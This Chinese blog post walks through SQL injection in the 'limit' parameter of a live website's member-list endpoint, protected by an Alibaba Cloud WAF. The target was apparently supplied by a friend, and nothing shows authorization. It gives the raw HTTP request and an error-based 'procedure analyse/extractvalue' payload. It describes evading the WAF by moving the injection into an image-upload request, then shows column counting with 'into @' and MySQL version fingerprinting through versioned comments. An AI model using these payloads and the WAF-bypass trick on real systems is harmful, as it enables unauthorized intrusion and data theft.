天天看點

繞過阿裡雲waf進行mysql limit注入證明

    朋友發了我一個站點,來看看吧,是limit注入,不太常見。搞一搞吧。

    

POST /Member/CompanyApply/lists HTTP/1.1
Host: *
Content-Length: 57
Accept: application/json, text/javascript, */*; q=0.01
Origin: *
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: *
Accept-Language: zh-CN,zh;q=0.8
Cookie: *
Connection: close

type=1&status=&search_val=&start_date=&end_date=&limit=1      

 存在問題參數:limit,看到這個我就想到limit注入。就怕是幌子

  再次嘗試輸入limit=1和limit=2,2中成功傳回了1的所有資訊

  ok!嘗試limit注入,limit注入不太常見,手法挺少的,嘗試:

  limit=1 procedure analyse(1,extractvalue(rand(),concat(0x3a,version())));

  

繞過阿裡雲waf進行mysql limit注入證明

貌似有waf。。看來是阿裡雲。。

  我們知道limit注入隻能用procedure analyse進行報錯注入,可以說是很雞肋了。

  還有waf。

  先繞waf吧

  首先修改資料標頭: 

  發現還是405 

繞過阿裡雲waf進行mysql limit注入證明

繼續嘗試繞過:

  思路:找一個上傳圖檔包 :

 

繞過阿裡雲waf進行mysql limit注入證明

複制粘貼到存在sql注入的資料包中:

繞過阿裡雲waf進行mysql limit注入證明

如果sql語句是union select x from y limit x未使用order by,我們可以使用union select進行注入探測:

使用1 union select 1

繞過阿裡雲waf進行mysql limit注入證明

發現有order by。。。。隻能用那兩個函數了。。

參考文章:http://www.vuln.cn/8101

這裡踩了不少坑,一直在糾結為啥出不了資料,後來才知道,mysql版本>5.6.6

  這裡的問題是很有可能是mysql>5.6

  那麼還如何證明注入呢?

   使用into

  limit注入本地測試:

  union select x from y order by x limit x (x=limit參數)

  union select x from y order by x limit 1,x (x=limit參數)

  隻有這兩種可能了。

  因為版本大于5.6.6隻能使用另類方法證明是否是sql注入了:

  先本地測試下:

  查詢表,發現是兩列資料,id和name字段 

繞過阿裡雲waf進行mysql limit注入證明

  平常我們探測列數都是order by,其實我們還可以:

  使用into @

  在limit下利用:

繞過阿裡雲waf進行mysql limit注入證明

會提示列不同:

繞過阿裡雲waf進行mysql limit注入證明

出現了不一樣的提示,是以我們的列是2列

  如果我們再次加一個@

繞過阿裡雲waf進行mysql limit注入證明

  就會提示不同列。  

  實戰測試:

  正确的列數:

繞過阿裡雲waf進行mysql limit注入證明

不正确的列數傳回如下:

繞過阿裡雲waf進行mysql limit注入證明

至此我們可以證明出這是個sql注入。最後列數是9

  mysql版本号大于5.6.6這是怎麼證明的呢?

  1/*!50666aaaa*/報錯說明版本号>5.6.66 

繞過阿裡雲waf進行mysql limit注入證明

 輸入

繞過阿裡雲waf進行mysql limit注入證明

出現錯誤,輸入1/*!50721aaaa*/ 

不再報錯

繞過阿裡雲waf進行mysql limit注入證明

說明 版本号應該是5.7.21

  此次注入經曆讓我學到了很多,還得多多努力!

繼續閱讀